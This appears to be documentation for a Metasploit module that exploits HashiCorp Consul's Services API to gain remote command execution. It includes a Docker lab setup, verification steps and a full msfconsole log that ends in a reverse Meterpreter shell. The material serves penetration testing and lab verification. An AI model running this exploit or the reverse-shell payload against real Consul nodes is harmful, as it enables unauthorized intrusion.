Vulnerable Application
HashiCorp Consul with -enable-script-checks configuration flag set to true, or running version 0.9.0 or earlier, with Consul API available on an interface that can be accessed over the network.
Description
This module exploits Hashicorp Consul's Services API to gain remote command execution on a Consul node.
The exposure of the Services API depends on the enable_script_checks option. This option is opt-in for Consul nodes operators.
Test Setup
The following bash script can be used to setup a testing environment with Docker:
#!/bin/sh
echo "[+] Launching consul instances..."
BOOTSTRAP_ID=`docker run -p8301:8301 -d --name=consul_bootstrap_server consul:1.0.7 agent -server -client=0.0.0.0 -bootstrap -data-dir /tmp/consul`
sleep 2
BOOTSTRAP_IP=`docker inspect --format '{{ .NetworkSettings.IPAddress }}' $BOOTSTRAP_ID`
docker run -d --name=consul_client_1 -e 'CONSUL_LOCAL_CONFIG={"leave_on_terminate": true, "enable_script_checks":true, "disable_remote_exec":false}' consul:1.0.7 agent -ui -client=0.0.0.0 -retry-join=$BOOTSTRAP_IP
echo "[+] Checking members..."
docker exec -t consul_bootstrap_server consul members -http-addr="$BOOTSTRAP_IP:8500"
You should observe something similar to the excerpt below when running the script:
[+] Launching consul instances...
138b09eff12867fcc436b8f5d6366c5aebf3be54864789a675e133a865d436bf
[+] Checking members...
Node Address Status Type Build Protocol DC Segment
36e14072dec5 172.17.0.1:8301 alive server 1.0.7 2 dc1 <all>
138b09eff128 172.17.0.2:8301 alive client 1.0.7 2 dc1 <default>
The following bash script can be used to stop and destroy all your consul containers (so be careful if you use consul containers for other things at the same time):
#!/bin/sh
for h in `sudo docker ps -a | grep consul | cut -d' ' -f1`; do sudo docker stop $h && sudo docker rm $h; done
Verification Steps
You can verify the module against the vulnerable application with those steps:
Launch a Consul cluster with the provided bash script
Start msfconsole
Do: use exploit/multi/misc/consul_service_exec
Do: set RHOST 172.17.0.2
Do: set RPORT 8500
Do: check. The target should appear vulnerable.
Do: set payload with the payload of your choosing.
Do: set LHOST 172.17.42.1 (docker0 gateway IP)
Do: run
You should get a shell.
Scenarios
Reverse shell on Linux host
Exploit running against a Docker consul container target:
msf5 > use exploit/multi/misc/consul_service_exec
msf5 exploit(multi/misc/consul_service_exec) > set RHOSTS 172.17.0.4
RHOSTS => 172.17.0.4
msf5 exploit(multi/misc/consul_service_exec) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf5 exploit(multi/misc/consul_service_exec) > set LHOST 172.17.42.1
LHOST => 172.17.42.1
msf5 exploit(multi/misc/consul_service_exec) > check
[+] 172.17.0.4:8500 The target is vulnerable.
msf5 exploit(multi/misc/consul_rexec_exec) > run
[*] Started reverse TCP handler on 172.17.42.1:4444
[*] Creating service 'BBBDX'
[*] Service 'BBBDX' successfully created.
[*] Waiting for service 'BBBDX' script to trigger
[*] Sending stage (861480 bytes) to 172.17.0.4
[*] Removing service 'BBBDX'
[*] Command Stager progress - 115.73% done (883/763 bytes)
meterpreter > sysinfo
Computer : 172.17.0.4
OS : (Linux 4.4.0-38-generic)
Architecture : x64
BuildTuple : i486-linux-musl
Meterpreter : x86/linux
meterpreter > exit
[*] Shutting down Meterpreter...
[*] 172.17.0.4 - Meterpreter session 1 closed. Reason: User exit
